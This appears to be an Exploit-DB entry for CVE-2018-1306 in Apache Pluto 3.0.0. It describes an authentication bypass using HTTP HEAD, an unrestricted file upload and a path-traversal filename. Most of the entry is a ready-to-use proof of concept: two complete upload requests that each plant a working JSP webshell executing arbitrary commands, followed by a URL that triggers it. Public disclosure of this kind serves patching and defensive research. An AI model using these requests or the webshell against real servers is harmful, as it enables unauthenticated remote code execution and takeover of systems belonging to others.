Exploit-DB #45396
Description: Apache Portals Pluto 3.0.0 - Remote Code Execution
Type: webapps
Platform: windows
Date: 2018-09-13
Author: Che-Chun Kuo

Exploit:
# Exploit Title: Apache Portals Pluto 3.0.0 - Remote Code Execution
# Date: 2018-09-12
# Exploit Author: Che-Chun Kuo
# Vendor Homepage: https://portals.apache.org/pluto/
# Software Link: http://archive.apache.org/dist/portals/pluto/
# Version: 3.0.0
# Tested on: Windows
# Advisory: https://portals.apache.org/pluto/security.html
# Other Vulnerability Types: Authentication bypass, directory traversal, arbitrary file upload
# CVE: CVE-2018-1306

# Vulnerability 1: Authentication bypass via HTTP verb tampering
# Description: Apache Pluto uses web.xml security constraints to control access to resources. 
# These security constraints have been insecurely defined allowing authentication to be bypassed. 
# When specific http methods are listed within a security constraint, then only those 
# methods are protected. Pluto defines the following http methods: GET, POST, and PUT. 
# Since the HEAD method is not listed, a request with a HTTP HEAD method effectively 
# circumvents the security policy.

# Vulnerability 2: Remote code execution via arbitrary file upload
# Description: An attacker can call the PortletV3AnnotatedDemo Multipart Portlet and upload 
# an arbitrary file. The uploaded file is directly accessible within 
# the /PortletV3AnnotatedDemo/temp/ directory. This technique allows an unauthenticated 
# attacker to install a malicious JSP file and remotely execute code on a server running Apache Pluto.
# Insecure Remediation: This vulnerability was mitigated by moving the /temp directory 
# outside the /webapps directory and under the Tomcat directory. 

# Vulnerability 3: Directory traversal in multipart file upload 
# Description: Apache Pluto's multipart file uploader is vulnerable to directory traversal. 
# An attacker is able to upload a file outside the default /temp directory to an arbitrary location 
# on the filesystem. The following filename will drop a JSP webshell 
# into the /webapps/pluto public directory: filename="../../../webapps/pluto/jspshell.jsp". 
# Leveraging this technique, remote code execution via webshell is still possible despite 
# remediation in Vulnerability 2. 

# PROOF OF CONCEPT
# UPLOAD REQUEST 1 - TEMP DIR INSIDE WEBROOT

HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%2[PII_REDACTED]%7C0;0/__ac0 HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=XX
Content-Length: 727

--XX
Content-Disposition: form-data; name="file"; filename="jspshell.jsp"
Content-Type: application/octet-stream

<FORM METHOD=GET ACTION='jspshell.jsp'>
CMD: <INPUT name='cmd' type=text  value="cmd /c dir">
<INPUT type=submit value='Run'></FORM>
<%@ page import="java.io.*" %>
<%
	String cmd = "whoami";
	String param = request.getParameter("cmd");
	if (param != null){ cmd = param; }
	String s = null;
	String output = "";
	try {
	Process p = Runtime.getRuntime().exec(cmd);
	BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
	while((s = sI.readLine()) != null) { output += s+"\r\n"; }
	}  catch(IOException e) { e.printStackTrace(); }
%>
<pre><%=output %></pre>
--XX--

# UPLOAD REQUEST 2 - TEMP DIR OUTSIDE WEBROOT

HEAD /pluto/portal/File%20Upload/__pdPortletV3AnnotatedDemo.MultipartPortlet%2[PII_REDACTED]%7C0;0/__ac0 HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=XX
Content-Length: 748

--XX
Content-Disposition: form-data; name="file"; filename="../../../webapps/pluto/jspshell.jsp"
Content-Type: application/octet-stream

<FORM METHOD=GET ACTION='jspshell.jsp'>
CMD: <INPUT name='cmd' type=text  value="cmd /c dir">
<INPUT type=submit value='Run'></FORM>
<%@ page import="java.io.*" %>
<%
	String cmd = "whoami";
	String param = request.getParameter("cmd");
	if (param != null){ cmd = param; }
	String s = null;
	String output = "";
	try {
	Process p = Runtime.getRuntime().exec(cmd);
	BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
	while((s = sI.readLine()) != null) { output += s+"\r\n"; }
	}  catch(IOException e) { e.printStackTrace(); }
%>
<pre><%=output %></pre>
--XX--

# EXECUTE CMD
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http://localhost:8080/pluto/jspshell.jsp?cmd=hostname